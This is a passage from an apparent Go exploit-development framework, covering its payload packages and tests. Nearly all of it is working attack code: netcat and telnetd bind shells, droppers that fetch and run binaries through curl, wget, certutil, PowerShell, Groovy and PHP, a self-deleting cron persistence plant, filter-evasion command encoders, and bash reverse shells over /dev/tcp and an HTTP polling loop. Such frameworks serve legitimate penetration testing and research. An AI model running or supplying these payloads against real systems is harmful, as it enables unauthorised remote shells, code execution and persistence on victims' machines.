PrintFrameworkSuccess(msg string, keys ...any) { doFrameworkLog(stdOutputDesc, LevelSuccess, msg, keys...) } // PrintfFrameworkError formats according to a format specifier and logs as ERROR // If the framework is not logging to file, this will go to standard error. func PrintfFrameworkError(format string, msg ...interface{}) { PrintFrameworkError(fmt.Sprintf(format, msg...)) } // PrintFrameworkError logs a string as ERROR // If the framework is not logging to file, this will go to standard error. func PrintFrameworkError(msg string, keys ...any) { doFrameworkLog(stdErrDesc, LevelError, msg, keys...) } ================================================ FILE: payload/bindshell/bindshell.go ================================================ // Bind shell payloads & listeners. // // The bindshell package contains all the code for generating bind shells that listen on a port for // interaction. // // As with all the payload sub-packages, each of these payload types can be used either in the raw string // format for manipulation or via the specific payload type provided by the project. This allows the // following usage patterns to have the same output: // // bindshell.Netcat.Default(1337) // bindshell.Netcat.Mknod(1337) // fmt.Sprintf(bindshell.NetcatMknod, 1337) package bindshell type BindShell interface { Default } type Default interface{} type ( NetcatPayload struct{} TelnetPayload struct{} ) var ( Netcat = &NetcatPayload{} Telnet = &TelnetPayload{} ) ================================================ FILE: payload/bindshell/bindshell_test.go ================================================ package bindshell_test import ( "strings" "testing" "github.com/vulncheck-oss/go-exploit/payload/bindshell" ) func TestBindShellNetcatGaping(t *testing.T) { payload := bindshell.Netcat.Gaping(4444) if payload != "nc -l -p 4444 -e /bin/sh" { t.Fatal(payload) } t.Log(payload) } func TestBindShellTelnetdLogin(t *testing.T) { payload := bindshell.Telnet.TelnetdLogin(1270) if payload != "telnetd -l /bin/sh -p 1270" { t.Fatal(payload) } t.Log(payload) } func TestBindShellNetcatMknod(t *testing.T) { payload := bindshell.Netcat.Mknod(1270) if !strings.HasPrefix(payload, "cd /tmp; mknod ") { t.Fatal(payload) } t.Log(payload) } func TestBindShellNetcatMkfifo(t *testing.T) { payload := bindshell.Netcat.Mkfifo(1270) if !strings.HasPrefix(payload, "cd /tmp; mkfifo ") { t.Fatal(payload) } t.Log(payload) } ================================================ FILE: payload/bindshell/netcat.go ================================================ package bindshell import ( "fmt" "github.com/vulncheck-oss/go-exploit/random" ) const ( NetcatDefault = "nc -l -p %d -e /bin/sh" NetcatMknod = `cd /tmp; mknod %s p; nc -l -p %d 0<%s | /bin/sh >%s 2>&1; rm %s;` NetcatMkfifo = `cd /tmp; mkfifo %s; nc -l -p %d 0<%s | /bin/sh >%s 2>&1; rm %s;` ) func (nc *NetcatPayload) Default(bport int) string { return nc.Gaping(bport) } func (nc *NetcatPayload) Gaping(bport int) string { return fmt.Sprintf(NetcatDefault, bport) } func (nc *NetcatPayload) Mknod(bport int) string { node := random.RandLetters(3) return fmt.Sprintf(NetcatMknod, node, bport, node, node, node) } func (nc *NetcatPayload) Mkfifo(bport int) string { fifo := random.RandLetters(3) return fmt.Sprintf(NetcatMkfifo, fifo, bport, fifo, fifo, fifo) } ================================================ FILE: payload/bindshell/telnet.go ================================================ package bindshell import ( "fmt" ) const TelnetDefault = "telnetd -l /bin/sh -p %d" func (telnet *TelnetPayload) Default(bport int) string { return telnet.TelnetdLogin(bport) } func (telnet *TelnetPayload) TelnetdLogin(bport int) string { return fmt.Sprintf(TelnetDefault, bport) } ================================================ FILE: payload/dropper/dropper.go ================================================ // File dropper download and execute payloads. // // The dropper package contains all the code for download and execute payloads. Unlike the other payloads // this package is necessarily OS dependent for both the download and execution portions. package dropper type Dropper interface{} type ( UnixPayload struct{} WindowsPayload struct{} GroovyPayload struct{} PHPPayload struct{} ) var ( Unix = &UnixPayload{} Windows = &WindowsPayload{} Groovy = &GroovyPayload{} PHP = &PHPPayload{} ) ================================================ FILE: payload/dropper/dropper_test.go ================================================ package dropper_test import ( "strings" "testing" "github.com/vulncheck-oss/go-exploit/payload/dropper" ) func TestLinuxCurlHTTPDownloadAndExecute(t *testing.T) { curlCommand := dropper.Unix.CurlHTTP("127.0.0.1", 1270, false, "helloworld") if !strings.HasPrefix(curlCommand, "curl -so") { t.Fatal(curlCommand) } if !strings.Contains(curlCommand, "http://") { t.Fatal(curlCommand) } if !strings.Contains(curlCommand, "chmod +x") { t.Fatal(curlCommand) } if !strings.Contains(curlCommand, "rm -f") { t.Fatal(curlCommand) } t.Log(curlCommand) } func TestLinuxCurlHTTPSDownloadAndExecute(t *testing.T) { curlCommand := dropper.Unix.CurlHTTP("127.0.0.1", 1270, true, "helloworld") if !strings.HasPrefix(curlCommand, "curl -kso") { t.Fatal(curlCommand) } if !strings.Contains(curlCommand, "https://") { t.Fatal(curlCommand) } if !strings.Contains(curlCommand, "chmod +x") { t.Fatal(curlCommand) } if !strings.Contains(curlCommand, "rm -f") { t.Fatal(curlCommand) } t.Log(curlCommand) } func TestWindowsCurlHTTPDownloadAndExecute(t *testing.T) { curlCommand := dropper.Windows.CurlHTTP("127.0.0.1", 1270, false, "helloworld") if !strings.HasPrefix(curlCommand, "curl.exe -so") { t.Fatal(curlCommand) } if !strings.Contains(curlCommand, "http://") { t.Fatal(curlCommand) } if !strings.Contains(curlCommand, "del /f") { t.Fatal(curlCommand) } t.Log(curlCommand) } func TestWindowsCurlHTTPSDownloadAndExecute(t *testing.T) { curlCommand := dropper.Windows.CurlHTTP("127.0.0.1", 1270, true, "helloworld") if !strings.HasPrefix(curlCommand, "curl.exe -kso") { t.Fatal(curlCommand) } if !strings.Contains(curlCommand, "https://") { t.Fatal(curlCommand) } if !strings.Contains(curlCommand, "del /f") { t.Fatal(curlCommand) } t.Log(curlCommand) } func TestWindowsCertutilHTTPDownloadAndExecute(t *testing.T) { host := "127.0.0.1" port := 1270 downloadFile := "helloworld" expected := []string{ `certutil.exe -urlcache -split -f http://127.0.0.1:1270/helloworld %TEMP%\`, `.exe && %TEMP%\`, `.exe & del /f %TEMP%\`, } t.Run("http", func(t *testing.T) { comm := dropper.Windows.CertutilHTTP(host, port, false, downloadFile) for _, e := range expected { if !strings.Contains(comm, e) { t.Fatal(comm) } } t.Log(comm) }) t.Run("https", func(t *testing.T) { comm := dropper.Windows.CertutilHTTP(host, port, true, downloadFile) for _, e := range expected { expected := strings.Replace(e, "http://", "https://", 1) if !strings.Contains(comm, expected) { t.Fatal(comm) } } t.Log(comm) }) } func TestWindowsPowershellHTTPDownloadAndExecute(t *testing.T) { host := "127.0.0.1" port := 1270 downloadFile := "helloworld" expected := []string{ "powershell -c", `'Invoke-WebRequest -Uri http://127.0.0.1:1270/helloworld -OutFile "$([System.IO.Path]::GetTempPath())`, `.exe"; "$([System.IO.Path]::GetTempPath()`, `.exe"; Remove-Item "$([System.IO.Path]::GetTempPath())`, } t.Run("http", func(t *testing.T) { comm := dropper.Windows.PowershellHTTP(host, port, false, downloadFile) for _, e := range expected { if !strings.Contains(comm, e) { t.Fatal(comm) } } t.Log(comm) }) t.Run("https", func(t *testing.T) { comm := dropper.Windows.PowershellHTTP(host, port, true, downloadFile) for _, e := range expected { expected := strings.Replace(e, "http://", "https://", 1) if !strings.Contains(comm, expected) { t.Fatal(comm) } } t.Log(comm) }) } func TestGroovyHTTP(t *testing.T) { groovyPayload := dropper.Groovy.HTTP("127.0.0.1", 1270, "input", "output") expected := `def f = new File('output');f.withOutputStream{it << new URL('http://127.0.0.1:1270/input').openStream()};` + `f.setExecutable(true);def p = 'output'.execute();p.waitFor();f.delete();` if groovyPayload != expected { t.Fatal(groovyPayload) } } func TestPHPHTTP(t *testing.T) { phpPayload := dropper.PHP.HTTP("127.0.0.1", 1270, true, "filename") if strings.Contains(phpPayload, "context") == false { t.Fatal("Missing SSL logic") } phpPayload = dropper.PHP.HTTP("127.0.0.1", 1270, false, "filename") if strings.Contains(phpPayload, "context") { t.Fatal("Mysterious inclusion of SSL logic") } } func TestMountV3Only(t *testing.T) { mountPayload := dropper.Unix.Mountv3Only("127.0.0.1", "/tmp/nfsshare", "./dir") if mountPayload != "mount -o vers=3,nolock,exec,tcp -t nfs 127.0.0.1:/tmp/nfsshare ./dir" { t.Fatal("Unexpected Mountv3Only formatting") } } ================================================ FILE: payload/dropper/groovy.go ================================================ package dropper import ( "fmt" ) // Using Groovy, download a remote file, set it to executable, execute it, and delete it. func (groovy *GroovyPayload) HTTP(lhost string, lport int, downloadFile string, output string) string { // download and write the file cmd := fmt.Sprintf(`def f = new File('%s');f.withOutputStream{it << new URL('http://%s:%d/%s').openStream()};`, output, lhost, lport, downloadFile) // set the download binary as executable cmd += `f.setExecutable(true);` // execute it cmd += fmt.Sprintf(`def p = '%s'.execute();`, output) // wait for the process to finish cmd += `p.waitFor();` // delete it cmd += "f.delete();" return cmd } ================================================ FILE: payload/dropper/php/dropper.php ================================================ ================================================ FILE: payload/dropper/php/dropper_secure.php ================================================ array("verify_peer" => false,"verify_peer_name" => false,),);$context = stream_context_create($options);$d = file_get_contents("https://%s:%d/%s", false, $context);$o=tempnam(sys_get_temp_dir(), "");file_put_contents($o,$d);chmod($o, 0755);exec($o);unlink($o); ?> ================================================ FILE: payload/dropper/php.go ================================================ package dropper import ( _ "embed" "fmt" ) var ( //go:embed php/dropper.php PHPDropper string //go:embed php/dropper_secure.php PHPDropperSecure string ) // Using PHP: download a remote file, write a tmp file, set it to executable, execute it, and delete it. func (php *PHPPayload) HTTP(lhost string, lport int, ssl bool, downloadFile string) string { if ssl { return fmt.Sprintf(PHPDropperSecure, lhost, lport, downloadFile) } return fmt.Sprintf(PHPDropper, lhost, lport, downloadFile) } ================================================ FILE: payload/dropper/unix.go ================================================ package dropper import ( "fmt" "github.com/vulncheck-oss/go-exploit/random" ) // Download a remote file with curl, but do not execute/delete it. // You also need to provide your own full file path, .exe will not be appended like the others. // Lastly the full output file path needs to be specified in the output parameter. func (unix *UnixPayload) CurlHTTPDownloadOnly(lhost string, lport int, ssl bool, downloadFile string, output string) string { if ssl { return fmt.Sprintf("curl -kso %s https://%s:%d/%s", output, lhost, lport, downloadFile) } return fmt.Sprintf("curl -so %s http://%s:%d/%s", output, lhost, lport, downloadFile) } // Download a remote file with curl, execute it, and delete it. func (unix *UnixPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadFile string) string { output := "/tmp/" + random.RandLetters(3) if ssl { return fmt.Sprintf("curl -kso %s https://%s:%d/%s && chmod +x %s && %s & rm -f %s", output, lhost, lport, downloadFile, output, output, output) } return fmt.Sprintf("curl -so %s http://%s:%d/%s && chmod +x %s && %s & rm -f %s", output, lhost, lport, downloadFile, output, output, output) } // Download a remote file with curl or wget, execute it, and delete it. func (unix *UnixPayload) EitherHTTP(lhost string, lport int, ssl bool, downloadFile string) string { output := "/tmp/" + random.RandLetters(3) uri := fmt.Sprintf("%s:%d/%s", lhost, lport, downloadFile) if ssl { return fmt.Sprintf("(curl -kso %s https://%s || wget --no-check-certificate -O %s https://%s) && chmod +x %s && %s & rm -f %s", output, uri, output, uri, output, output, output) } return fmt.Sprintf("(curl -kso %s http://%s || wget -O %s http://%s) && chmod +x %s && %s & rm -f %s", output, uri, output, uri, output, output, output) } // Download a remote file with curl, execute it, and delete it. func (unix *UnixPayload) WgetHTTPEx(lhost string, lport int, ssl bool, downloadFile string) string { output := "/tmp/" + random.RandLetters(3) if ssl { return fmt.Sprintf("wget --no-check-certificate -O %s https://%s:%d/%s && chmod +x %s && %s & rm -f %s", output, lhost, lport, downloadFile, output, output, output) } return fmt.Sprintf("wget -O %s http://%s:%d/%s && chmod +x %s && %s & rm -f %s", output, lhost, lport, downloadFile, output, output, output) } // Download a remote bash script with wget and pipe it to bash. func (unix *UnixPayload) WgetHTTP(lhost string, lport int, ssl bool, downloadFile string) string { uri := fmt.Sprintf("%s:%d/%s", lhost, lport, downloadFile) if ssl { return fmt.Sprintf("wget --no-check-certificate -qO- https://%s | sh", uri) } return fmt.Sprintf("wget -qO- http://%s | sh", uri) } // Mount a remote NFS directory using NFS v3. This will mount the attacker controlled share at // : and make it available to the attacker at . Usage example: // // Mountv3Only("10.9.49.2","/tmp/nfsshare", "./b") // // This function does not attempt to actually execute any files on the share. func (unix *UnixPayload) Mountv3Only(lhost string, lshareDir string, rshareDir string) string { return fmt.Sprintf("mount -o vers=3,nolock,exec,tcp -t nfs %s:%s %s", lhost, lshareDir, rshareDir) } ================================================ FILE: payload/dropper/windows.go ================================================ package dropper import ( "fmt" "strings" "github.com/vulncheck-oss/go-exploit/random" ) // Download a remote file with curl.exe, but do not execute/delete it. // You also need to provide your own full file path, .exe will not be appended like the others. // Lastly the full output file path needs to be specified in the output parameter. func (win *WindowsPayload) CurlHTTPDownloadOnly(lhost string, lport int, ssl bool, downloadFile string, output string) string { if ssl { return fmt.Sprintf("curl.exe -kso %s https://%s:%d/%s", output, lhost, lport, downloadFile) } return fmt.Sprintf("curl.exe -so %s http://%s:%d/%s", output, lhost, lport, downloadFile) } // Much like CurlHTTPDownloadOnly, this function will generate the certutil.exe command to download a file and save it to the provided location. // // downloadCmd := dropper.Windows.CertutilHTTPDownloadOnly(httpFileServer.HTTPAddr, httpFileServer.HTTPPort, httpFileServer.TLS, httpFileServer.GetRandomName(""), destFilePath) func (win *WindowsPayload) CertutilHTTPDownloadOnly(lhost string, lport int, ssl bool, downloadFile string, outputPath string) string { uri := fmt.Sprintf("http://%s:%d/%s", lhost, lport, downloadFile) if ssl { uri = strings.Replace(uri, "http://", "https://", 1) } return fmt.Sprintf("certutil.exe -urlcache -split -f %s %s", uri, outputPath) } // Download a remote file with curl.exe, execute it, and delete it (after execution). func (win *WindowsPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadFile string) string { output := `%TEMP%\` + random.RandLetters(3) + ".exe" // NOTE: Can't delete a file in use if ssl { return fmt.Sprintf("curl.exe -kso %s https://%s:%d/%s && %s & del /f %s", output, lhost, lport, downloadFile, output, output) } return fmt.Sprintf("curl.exe -so %s http://%s:%d/%s && %s & del /f %s", output, lhost, lport, downloadFile, output, output) } // Download a remote file with certutil.exe, execute it, and delete it (after execution). func (win *WindowsPayload) CertutilHTTP(lhost string, lport int, ssl bool, downloadFile string) string { output := `%TEMP%\` + random.RandLetters(3) + ".exe" uri := fmt.Sprintf("http://%s:%d/%s", lhost, lport, downloadFile) if ssl { uri = strings.Replace(uri, "http://", "https://", 1) } return fmt.Sprintf("certutil.exe -urlcache -split -f %s %s && %s & del /f %s", uri, output, output, output) } // Download a remote file with PowerShell, execute it, and delete it (after execution). func (win *WindowsPayload) PowershellHTTP(lhost string, lport int, ssl bool, downloadFile string) string { // .NET method 'GetTempPath' instead relying on environment variables for better compatibility // Details: https://learn.microsoft.com/en-us/dotnet/api/system.io.path.gettemppath output := `"$([System.IO.Path]::GetTempPath())` + random.RandLetters(3) + `.exe"` uri := fmt.Sprintf("http://%s:%d/%s", lhost, lport, downloadFile) if ssl { uri = fmt.Sprintf("https://%s:%d/%s", lhost, lport, downloadFile) } return fmt.Sprintf(`powershell -c 'Invoke-WebRequest -Uri %s -OutFile %s; %s; Remove-Item %s'`, uri, output, output, output) } ================================================ FILE: payload/encode.go ================================================ // Payload related functions and actions // // The payload package contains a collection of universally applicable functions for payloads, sub-packages // containing specific payloads, and any specific payloads that do not fit into the other sub package types. package payload import ( "regexp" ) func EncodeCommandBrace(cmd string) string { escaped := regexp.MustCompile(`([{,}])`).ReplaceAllString(cmd, `\$1`) return "{" + regexp.MustCompile(`\s+`).ReplaceAllString(escaped, ",") + "}" } func EncodeCommandIFS(cmd string) string { return regexp.MustCompile(`\s+`).ReplaceAllLiteralString(cmd, "${IFS}") } ================================================ FILE: payload/encode_test.go ================================================ package payload_test import ( "testing" "github.com/vulncheck-oss/go-exploit/payload" ) func TestEncodeCommandBrace(t *testing.T) { encoded := payload.EncodeCommandBrace("foo bar baz") if encoded != "{foo,bar,baz}" { t.Fatal(encoded) } t.Log(encoded) } func TestEncodeCommandIFS(t *testing.T) { encoded := payload.EncodeCommandIFS("foo bar baz") if encoded != "foo${IFS}bar${IFS}baz" { t.Fatal(encoded) } t.Log(encoded) } ================================================ FILE: payload/fileplant/cron.go ================================================ // file planting based payloads. // // The fileplant package contains payloads to aid the exploit developer in achieving execution // via binary planting, dll planting, and just general file hijinks. package fileplant import ( "fmt" ) type CronPayload struct{} var Cron = &CronPayload{} // Creates two strings that can be used for gaining execution via "/etc/cron.d". The first return ("cron") // should be uploaded to "cronPath" (presumably /etc/cron.d but I don't know your life), and the second // return should be uploaded to "xploitPath" (e.g. /tmp/helloworld). The cron file will trigger // execution of the bash script which will delete both the cron and itself. Example usage: // // cronPath := fmt.Sprintf("/etc/cron.d/%s", random.RandLetters(8)) // xploitPath := fmt.Sprintf("/tmp/%s", random.RandLetters(8)) // xploit, ok := generatePayload(conf) // if !ok { // return false // } // cron, xploit := payload.SelfRemovingCron("root", cronPath, xploitPath, xploit) func (c *CronPayload) SelfRemovingCron(user string, cronPath string, xploitPath string, payload string) (string, string) { cron := fmt.Sprintf("* * * * * %s /bin/sh %s\n", user, xploitPath) xploit := fmt.Sprintf("#!/bin/sh\n\nrm -f %s\nrm -f %s\n%s\n", cronPath, xploitPath, payload) return cron, xploit } ================================================ FILE: payload/fileplant/fileplant_test.go ================================================ package fileplant_test import ( "testing" "github.com/vulncheck-oss/go-exploit/payload/fileplant" ) func TestEncodeSelfRemovingCron(t *testing.T) { cron, xploit := fileplant.Cron.SelfRemovingCron("root", "/etc/cron.d/hi", "/tmp/test", "id") if cron != "* * * * * root /bin/sh /tmp/test\n" { t.Fatal(cron) } if xploit != "#!/bin/sh\n\nrm -f /etc/cron.d/hi\nrm -f /tmp/test\nid\n" { t.Fatal(xploit) } } ================================================ FILE: payload/payload.go ================================================ package payload import ( "encoding/json" "fmt" "strings" "testing" "github.com/vulncheck-oss/go-exploit/output" ) type ( // Type defines the different types of payload can be. These fall // into 2 buckets: command and payload based. We define each of the // types to be specific both for exploit payload metadata, but also // because it is possible to support an exploit that targets // different types depending on required behavior. Type int // Arch represents generalized architecture support for payload // selection disambiguation and metadata. This allows a payload to // explicitly declare what architectures they support and can be // used by an exploit to change behavior dynamically if required. Arch int // Effect is the type of impact a portion of the exploit employs // and any target system side effects. These are relatively loosely // defined and focused on the combination between // indicators-of-compromise, payload default behavior, and types of // network traffic. The payload.Effects map provides a way to // define multiple types of effects and define the metadata as // arbitrary strings. Effect int ) // Effects represents an exploits impact on the target, network, and // potential side-effects caused by it's usage. An effect can happen // multiple times and a human readable string describing the context can be // used. For example, defining an effect for an exploit that creates 2 // files can be defined as follows: // // payload.Effects{ // payload.FileCreate: []string{"/var/www/html/pwnt", "/var/www/html/pwnt2"}, // } // // These effects are currently only used for metadata definitions and // details flags. type Effects map[Effect][]string // Supported struct is passed to exploit definitions for calling RunExploit // and informs the exploit of the types, architecture, effects, and whether // a payload is the default type the exploit should use. An exploit // developer can add support for a payload type to an exploit with // config.AddPayload, which in turn enables enables the contextual flags // for custom payload usage. // // If Default is set, the exploit will use the set payload. Additionally, // if only a single payload is used Default does not have to be set and if // no Default is set with multiple payloads the exploit logic will select // the first processed supported type. // // Multiple payloads being defined enables the -payload-type flag that // allows for string selection between the supported payloads. In addition, // using multiple payloads of the same type but with different // architectures will enable -payload-arch flag to further allow selection. // // An example of defining multiple payloads to support an exploit with a // command execution or a payload upload with multiple architectures can be // defined as follows: // // []payload.Supported{ // { // Type: payload.GenericCommand, // Arch: payload.None, // Effects: payload.NoEffects, // Default: true, // }, // { // Type: payload.LinuxELF, // Arch: payload.AMD64, // Effects: payload.NoEffects, // }, // { // Type: payload.LinuxELF, // Arch: payload.ARM64, // Effects: payload.Effects{ // payload.FileCreate: []string{"/var/www/html/pwnt", "/var/www/html/pwnt2"}, // }, // }, // } type Supported struct { Type Type Arch Arch Effects Effects Default bool } const ( // GenericCommand is used for arbitrary command line execution // without OS specificity. GenericCommand Type = iota // WindowsCommand is used for command line execution, generally via // cmd.exe or local execution on Windows systems. WindowsCommand // WindowsPowerShellCommand represents command line execution of PowerShell. WindowsPowerShellCommand // MacCommand is used command line execution on a macOS system. MacCommand // LinuxCommand is used for shell execution in a Linux environment. LinuxCommand // LinuxELF is used for payloads containing ELF binaries for execution. LinuxELF // LinuxSO is used for payloads containing ELF shared object // binaries for execution via some library loading mechanism or via // dropping. LinuxSO // WindowsEXE is used for Windows PE executable files. WindowsEXE // PE // WindowsDLL is used for Windows DLL files binaries for execution // via some library loading mechanism or via dropping. WindowsDLL // Webshell is used for arbitrary web shells that represent // payloads that get dropped to targets. Webshell UnspecifiedType ) const ( NotDefault bool = false Default = true ) const ( None Arch = iota AMD64 I386 ARMEL ARMHF ARM64 MIPS MIPSEL MIPS64 MIPS64EL PPC PPC64 PPC64EL S390X //nolint:revive // alias is not stylistically ok, but most X864 is not clear X86_64 Arch = AMD64 X86 Arch = I386 POWER8 Arch = PPC64EL POWER9 Arch = PPC64EL AARCH64 Arch = ARM64 ) const ( FileCreate Effect = 1 << iota FileOverwrite FileDelete Execute InMemory ConfigChanges IndicatorInLogs AccountLockout Physical WebRequest ReverseShellTCP ReverseShellUDP ReverseShellTLS Unknown maxKey // Should be the largest/last iota. Used for stringifying ReverseShellSSL Effect = ReverseShellTLS ) var ( NoEffects = Effects{} UnknownEffects = Effects{ Unknown: []string{"The effects of this exploit are unknown at this time"}, } ) // String representation of the supported payload types. func (s Supported) String() string { tostr := map[string][]string{} for effect, details := range s.Effects { tostr[effect.String()] = details } a, err := json.Marshal(tostr) if err != nil { output.PrintfFrameworkError("Could not marshal payload effects: %s", err.Error()) return "" } return fmt.Sprintf("%s (%s) - Effects: %s", s.Type.String(), s.Arch.String(), a) } // String representation of the payload supported architecture. func (a Arch) String() string { switch a { case None: return "none" case AMD64: return "amd64" case I386: return "i386" case ARMEL: return "armel" case ARMHF: return "armhf" case ARM64: return "arm64" case MIPS: return "mips" case MIPSEL: return "mipsel" case MIPS64: return "mips64" case MIPS64EL: return "mips64el" case PPC: return "ppc" case PPC64: return "ppc64" case PPC64EL: return "ppc64el" case S390X: return "s390x" default: output.PrintFrameworkError("Attempted to use an unknown architecture") return "" } } // ArchFromString returns the architecture type from a string. func ArchFromString(s string) Arch { switch strings.ToLower(s) { case "none": return None case "amd64", "x86_64": return AMD64 case "i386", "x86": return I386 case "armel": return ARMEL case "armhf": return ARMHF case "arm64": return ARM64 case "mips": return MIPS case "mipsel": return MIPSEL case "mips64": return MIPS64 case "mips64el": return MIPS64EL case "ppc": return PPC case "ppc64": return PPC64 case "ppc64el": return PPC64EL case "s390x": return S390X default: output.PrintFrameworkError("Attempted to use an unknown architecture") return None } } // Payload type as represented by a string. func (t Type) String() string { switch t { case LinuxCommand: return "LinuxCommand" case WindowsCommand: return "WindowsCommand" case WindowsPowerShellCommand: return "WindowsPowerShellCommand" case MacCommand: return "MacCommand" case GenericCommand: return "GenericCommand" case LinuxELF: return "LinuxELF" case LinuxSO: return "LinuxSO" case WindowsEXE: return "WindowsEXE" case WindowsDLL: return "WindowsDLL" case Webshell: return "Webshell" case UnspecifiedType: return "Unspecified" default: output.PrintFrameworkError("Unexpected payload type used") return "" } } // If the payload type should be categorized as a command. This can be used // to check if the selected type is a command payload type without doing // type comparisons. An example of it's usages in combination with a custom // payload can be seen below: // // if conf.HasCustomPayload() { // if conf.SelectedPayload.Type.IsCommand() { // output.PrintfStatus("using '%s' in place of default", string(conf.CustomPayload)) // } else { // output.PrintfStatus("using binary len %d in place of default", len(string(conf.CustomPayload))) // } // } func (t Type) IsCommand() bool { switch t { case LinuxCommand: return true case WindowsCommand: return true case WindowsPowerShellCommand: return true case MacCommand: return true case GenericCommand: return true case LinuxELF: return false case LinuxSO: return false case WindowsEXE: return false case WindowsDLL: return false case Webshell: return false case UnspecifiedType: return false default: output.PrintFrameworkError("Unexpected payload type used") return false } } // If the payload type should be categorized as a payload based type. This can be used to check if the selected type is a payload type without doing type comparisons. An example of it's usages in combination with a custom payload can be seen below: // // if conf.HasCustomPayload() { // if conf.SelectedPayload.Type.IsPayload() { // output.PrintfStatus("using binary len %d in place of default", len(string(conf.CustomPayload))) // } else { // output.PrintfStatus("using '%s' in place of default", string(conf.CustomPayload)) // } // } func (t Type) IsPayload() bool { switch t { case LinuxCommand: return false case WindowsCommand: return false case WindowsPowerShellCommand: return false case MacCommand: return false case GenericCommand: return false case LinuxELF: return true case LinuxSO: return true case WindowsEXE: return true case WindowsDLL: return true case Webshell: return true case UnspecifiedType: return false default: if !testing.Testing() { output.PrintFrameworkError("Unexpected payload type used") } return false } } func TypeFromString(s string) Type { switch s { case "LinuxCommand": return LinuxCommand case "WindowsCommand": return WindowsCommand case "WindowsPowerShellCommand": return WindowsPowerShellCommand case "MacCommand": return MacCommand case "GenericCommand": return GenericCommand case "LinuxELF": return LinuxELF case "LinuxSO": return LinuxSO case "WindowsEXE": return WindowsEXE case "WindowsDLL": return WindowsDLL case "Webshell": return Webshell case "Unspecified", "UnspecifiedType": return UnspecifiedType default: if !testing.Testing() { output.PrintFrameworkError("Unexpected payload type used for string parsing") } return UnspecifiedType } } func (e Effect) String() string { switch e { case FileCreate: return "FileCreate" case FileOverwrite: return "FileOverwrite" case FileDelete: return "FileDelete" case Execute: return "Execute" case InMemory: return "InMemory" case ConfigChanges: return "ConfigChanges" case IndicatorInLogs: return "IndicatorInLogs" case AccountLockout: return "AccountLockout" case Physical: return "Physical" case WebRequest: return "WebRequest" case ReverseShellTCP: return "ReverseShellTCP" case ReverseShellUDP: return "ReverseShellUDP" case ReverseShellTLS: return "ReverseShellTLS" case Unknown: return "Unknown" case maxKey: return "Unknown" default: output.PrintFrameworkError("Effect is not recognized.") return "" } } ================================================ FILE: payload/payload_test.go ================================================ package payload_test import ( "testing" "github.com/vulncheck-oss/go-exploit/payload" ) func TestArchFromString(t *testing.T) { if payload.None != payload.ArchFromString("none") { t.Fatal(payload.None.String()) } if payload.AMD64 != payload.ArchFromString("amd64") { t.Fatal(payload.AMD64.String()) } if payload.AMD64 != payload.ArchFromString("x86_64") { t.Fatal(payload.AMD64.String()) } if payload.X86_64 != payload.ArchFromString("amd64") { t.Fatal(payload.X86_64.String()) } if payload.I386 != payload.ArchFromString("i386") { t.Fatal(payload.I386.String()) } if payload.I386 != payload.ArchFromString("x86") { t.Fatal(payload.I386.String()) } if payload.ARMEL != payload.ArchFromString("armel") { t.Fatal(payload.ARMEL.String()) } if payload.ARMHF != payload.ArchFromString("armhf") { t.Fatal(payload.ARMHF.String()) } if payload.ARM64 != payload.ArchFromString("arm64") { t.Fatal(payload.ARM64.String()) } if payload.MIPS != payload.ArchFromString("mips") { t.Fatal(payload.MIPS.String()) } if payload.MIPS64 != payload.ArchFromString("mips64") { t.Fatal(payload.MIPS64.String()) } if payload.MIPS64EL != payload.ArchFromString("mips64el") { t.Fatal(payload.MIPS64EL.String()) } if payload.PPC != payload.ArchFromString("ppc") { t.Fatal(payload.PPC.String()) } if payload.PPC64 != payload.ArchFromString("ppc64") { t.Fatal(payload.PPC64.String()) } if payload.PPC64EL != payload.ArchFromString("ppc64el") { t.Fatal(payload.PPC64EL.String()) } if payload.S390X != payload.ArchFromString("s390x") { t.Fatal(payload.S390X.String()) } if payload.S390X == payload.ArchFromString("aaaa") { t.Fatal(payload.S390X.String()) } } func TestTypeFromString(t *testing.T) { if payload.LinuxCommand != payload.TypeFromString("LinuxCommand") { t.Fatal(payload.LinuxCommand.String()) } if payload.WindowsCommand != payload.TypeFromString("WindowsCommand") { t.Fatal(payload.WindowsCommand.String()) } if payload.WindowsPowerShellCommand != payload.TypeFromString("WindowsPowerShellCommand") { t.Fatal(payload.WindowsPowerShellCommand.String()) } if payload.MacCommand != payload.TypeFromString("MacCommand") { t.Fatal(payload.MacCommand.String()) } if payload.GenericCommand != payload.TypeFromString("GenericCommand") { t.Fatal(payload.GenericCommand.String()) } if payload.LinuxELF != payload.TypeFromString("LinuxELF") { t.Fatal(payload.LinuxELF.String()) } if payload.LinuxSO != payload.TypeFromString("LinuxSO") { t.Fatal(payload.LinuxSO.String()) } if payload.WindowsEXE != payload.TypeFromString("WindowsEXE") { t.Fatal(payload.WindowsEXE.String()) } if payload.WindowsDLL != payload.TypeFromString("WindowsDLL") { t.Fatal(payload.WindowsDLL.String()) } if payload.Webshell != payload.TypeFromString("Webshell") { t.Fatal(payload.Webshell.String()) } if payload.UnspecifiedType != payload.TypeFromString("Unspecified") { t.Fatal(payload.UnspecifiedType.String()) } if payload.UnspecifiedType != payload.TypeFromString("UnspecifiedType") { t.Fatal(payload.UnspecifiedType.String()) } if payload.UnspecifiedType != payload.TypeFromString("aaaaaaaaa") { t.Fatal("Bad type returned different type than Unspecified") } } ================================================ FILE: payload/reverse/bash.go ================================================ package reverse import ( "fmt" ) const ( BashDefault = BashTCPRedirection BashTCPRedirection = `bash -c 'bash &> /dev/tcp/%s/%d <&1'` BashHTTPShellLoop = `bash -c 'while :; do curl -d "$(bash -c "$(curl %s-H"VC-Auth: %s" %s://%s:%d || exit)")" %s-H"VC-Auth: %s" %s://%s:%d/rx ||exit;sleep 1;done'` ) // The default payload type for reverse bash utilizes the pseudo-dev networking redirects in default bash. func (bash *BashPayload) Default(lhost string, lport int) string { return fmt.Sprintf(BashDefault, lhost, lport) } // Utilizes the bash networking pseudo `/dev/tcp/` functionality to create a reverse bash shell. func (bash *BashPayload) TCPRedirection(lhost string, lport int) string { return fmt.Sprintf(BashDefault, lhost, lport) } // An infinite loop shell script that will stay running until the HTTP server fails to respond. // This fits the c2.HTTPShellServer C2 logic in a shell script form. func (bash *BashPayload) HTTPShellLoop(lhost string, lport int, ssl bool, auth string) string { k := `` h := `http` if ssl { h = "https" k = `-k ` } return fmt.Sprintf(BashHTTPShellLoop, k, auth, h, lhost, lport, k, auth, h, lhost, lport) } ================================================ FILE: payload/reverse/gjscript/glib_spawn.gjs ================================================ const Gio = imports.gi.Gio; const GLib = imports.gi.GLib; try { let connection = (new 